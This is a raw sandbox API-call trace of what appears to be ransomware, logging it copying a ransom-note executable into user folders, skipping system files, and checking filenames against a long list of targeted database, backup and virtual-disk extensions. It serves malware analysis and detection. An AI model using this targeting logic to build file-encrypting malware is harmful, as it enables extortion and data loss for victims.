	[0036.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ed0 | out: hHeap=0x580000) returned 1
	[0036.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0036.543] lstrlenW (lpString="C:\\Users\\Default\\Recent") returned 23
	[0036.543] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0036.543] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.543] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.549] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.549] GetLastError () returned 0x5
	[0036.549] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Recent\\* FindFirstFile error 5\r\n") returned 57
	[0036.549] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Recent\\* FindFirstFile error 5\r\n") returned 57
	[0036.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0036.550] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x601
	[0036.550] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x39, lpOverlapped=0x0) returned 1
	[0036.550] CloseHandle (hObject=0xc0) returned 1
	[0036.551] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0036.551] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\PrintHood", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0036.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca350 | out: hHeap=0x580000) returned 1
	[0036.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0036.551] lstrlenW (lpString="C:\\Users\\Default\\PrintHood") returned 26
	[0036.551] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0036.551] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.551] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.555] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.555] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.555] GetLastError () returned 0x5
	[0036.555] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\PrintHood\\* FindFirstFile error 5\r\n") returned 60
	[0036.555] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\PrintHood\\* FindFirstFile error 5\r\n") returned 60
	[0036.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.555] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x63a
	[0036.555] WriteFile (in: hFile=0x120, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3c, lpOverlapped=0x0) returned 1
	[0036.555] CloseHandle (hObject=0x120) returned 1
	[0036.641] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0036.641] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0036.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca310 | out: hHeap=0x580000) returned 1
	[0036.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0036.641] lstrlenW (lpString="C:\\Users\\Default\\Pictures") returned 25
	[0036.641] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0036.641] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.641] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.652] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.652] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e033f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0036.652] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.652] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.652] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e033f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.652] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.652] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.652] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.652] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.652] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.652] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.652] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.652] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.653] lstrlenW (lpString="desktop.ini") returned 11
	[0036.653] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\*") returned 27
	[0036.653] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.653] lstrlenW (lpString="desktop.ini") returned 11
	[0036.653] lstrlenW (lpString="Apollon865") returned 10
	[0036.653] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.653] lstrlenW (lpString=".dll") returned 4
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.653] lstrlenW (lpString=".lnk") returned 4
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.653] lstrlenW (lpString=".ini") returned 4
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.653] lstrlenW (lpString=".sys") returned 4
	[0036.653] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.653] lstrlenW (lpString="desktop.ini") returned 11
	[0036.653] lstrlenW (lpString="bak") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.653] lstrlenW (lpString="ba_") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.653] lstrlenW (lpString="dbb") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.653] lstrlenW (lpString="vmdk") returned 4
	[0036.653] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.653] lstrlenW (lpString="rar") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.653] lstrlenW (lpString="zip") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.653] lstrlenW (lpString="tgz") returned 3
	[0036.653] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.654] lstrlenW (lpString="vbox") returned 4
	[0036.654] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.654] lstrlenW (lpString="vdi") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.654] lstrlenW (lpString="vhd") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.654] lstrlenW (lpString="vhdx") returned 4
	[0036.654] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.654] lstrlenW (lpString="avhd") returned 4
	[0036.654] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.654] lstrlenW (lpString="db") returned 2
	[0036.654] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.654] lstrlenW (lpString="db2") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.654] lstrlenW (lpString="db3") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.654] lstrlenW (lpString="dbf") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.654] lstrlenW (lpString="mdf") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.654] lstrlenW (lpString="mdb") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.654] lstrlenW (lpString="sql") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.654] lstrlenW (lpString="sqlite") returned 6
	[0036.654] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.654] lstrlenW (lpString="sqlite3") returned 7
	[0036.654] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.654] lstrlenW (lpString="sqlitedb") returned 8
	[0036.654] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.654] lstrlenW (lpString="xml") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.654] lstrlenW (lpString="$er") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.654] lstrlenW (lpString="4dd") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.654] lstrlenW (lpString="4dl") returned 3
	[0036.654] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.654] lstrlenW (lpString="^^^") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.655] lstrlenW (lpString="abs") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.655] lstrlenW (lpString="abx") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.655] lstrlenW (lpString="accdb") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.655] lstrlenW (lpString="accdc") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.655] lstrlenW (lpString="accde") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.655] lstrlenW (lpString="accdr") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.655] lstrlenW (lpString="accdt") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.655] lstrlenW (lpString="accdw") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.655] lstrlenW (lpString="accft") returned 5
	[0036.655] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.655] lstrlenW (lpString="adb") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.655] lstrlenW (lpString="adb") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.655] lstrlenW (lpString="ade") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.655] lstrlenW (lpString="adf") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.655] lstrlenW (lpString="adn") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.655] lstrlenW (lpString="adp") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.655] lstrlenW (lpString="alf") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.655] lstrlenW (lpString="ask") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.655] lstrlenW (lpString="btr") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.655] lstrlenW (lpString="cat") returned 3
	[0036.655] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.656] lstrlenW (lpString="cdb") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.656] lstrlenW (lpString="ckp") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.656] lstrlenW (lpString="cma") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.656] lstrlenW (lpString="cpd") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.656] lstrlenW (lpString="dacpac") returned 6
	[0036.656] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.656] lstrlenW (lpString="dad") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.656] lstrlenW (lpString="dadiagrams") returned 10
	[0036.656] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.656] lstrlenW (lpString="daschema") returned 8
	[0036.656] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.656] lstrlenW (lpString="db-journal") returned 10
	[0036.656] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.656] lstrlenW (lpString="db-shm") returned 6
	[0036.656] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.656] lstrlenW (lpString="db-wal") returned 6
	[0036.656] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.656] lstrlenW (lpString="dbc") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.656] lstrlenW (lpString="dbs") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.656] lstrlenW (lpString="dbt") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.656] lstrlenW (lpString="dbv") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.656] lstrlenW (lpString="dbx") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.656] lstrlenW (lpString="dcb") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.656] lstrlenW (lpString="dct") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.656] lstrlenW (lpString="dcx") returned 3
	[0036.656] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.656] lstrlenW (lpString="ddl") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.657] lstrlenW (lpString="dlis") returned 4
	[0036.657] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.657] lstrlenW (lpString="dp1") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.657] lstrlenW (lpString="dqy") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.657] lstrlenW (lpString="dsk") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.657] lstrlenW (lpString="dsn") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.657] lstrlenW (lpString="dtsx") returned 4
	[0036.657] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.657] lstrlenW (lpString="dxl") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.657] lstrlenW (lpString="eco") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.657] lstrlenW (lpString="ecx") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.657] lstrlenW (lpString="edb") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.657] lstrlenW (lpString="epim") returned 4
	[0036.657] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.657] lstrlenW (lpString="fcd") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.657] lstrlenW (lpString="fdb") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.657] lstrlenW (lpString="fic") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.657] lstrlenW (lpString="flexolibrary") returned 12
	[0036.657] lstrlenW (lpString="fm5") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.657] lstrlenW (lpString="fmp") returned 3
	[0036.657] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.657] lstrlenW (lpString="fmp12") returned 5
	[0036.657] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.657] lstrlenW (lpString="fmpsl") returned 5
	[0036.658] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.658] lstrlenW (lpString="fol") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.658] lstrlenW (lpString="fp3") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.658] lstrlenW (lpString="fp4") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.658] lstrlenW (lpString="fp5") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.658] lstrlenW (lpString="fp7") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.658] lstrlenW (lpString="fpt") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.658] lstrlenW (lpString="frm") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.658] lstrlenW (lpString="gdb") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.658] lstrlenW (lpString="gdb") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.658] lstrlenW (lpString="grdb") returned 4
	[0036.658] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.658] lstrlenW (lpString="gwi") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.658] lstrlenW (lpString="hdb") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.658] lstrlenW (lpString="his") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.658] lstrlenW (lpString="ib") returned 2
	[0036.658] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.658] lstrlenW (lpString="idb") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.658] lstrlenW (lpString="ihx") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.658] lstrlenW (lpString="itdb") returned 4
	[0036.658] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.658] lstrlenW (lpString="itw") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.658] lstrlenW (lpString="jet") returned 3
	[0036.658] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.659] lstrlenW (lpString="jtx") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.659] lstrlenW (lpString="kdb") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.659] lstrlenW (lpString="kexi") returned 4
	[0036.659] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.659] lstrlenW (lpString="kexic") returned 5
	[0036.659] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.659] lstrlenW (lpString="kexis") returned 5
	[0036.659] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.659] lstrlenW (lpString="lgc") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.659] lstrlenW (lpString="lwx") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.659] lstrlenW (lpString="maf") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.659] lstrlenW (lpString="maq") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.659] lstrlenW (lpString="mar") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.659] lstrlenW (lpString="marshal") returned 7
	[0036.659] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.659] lstrlenW (lpString="mas") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.659] lstrlenW (lpString="mav") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.659] lstrlenW (lpString="maw") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.659] lstrlenW (lpString="mdbhtml") returned 7
	[0036.659] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.659] lstrlenW (lpString="mdn") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.659] lstrlenW (lpString="mdt") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.659] lstrlenW (lpString="mfd") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.659] lstrlenW (lpString="mpd") returned 3
	[0036.659] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.659] lstrlenW (lpString="mrg") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.660] lstrlenW (lpString="mud") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.660] lstrlenW (lpString="mwb") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.660] lstrlenW (lpString="myd") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.660] lstrlenW (lpString="ndf") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.660] lstrlenW (lpString="nnt") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.660] lstrlenW (lpString="nrmlib") returned 6
	[0036.660] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.660] lstrlenW (lpString="ns2") returned 3
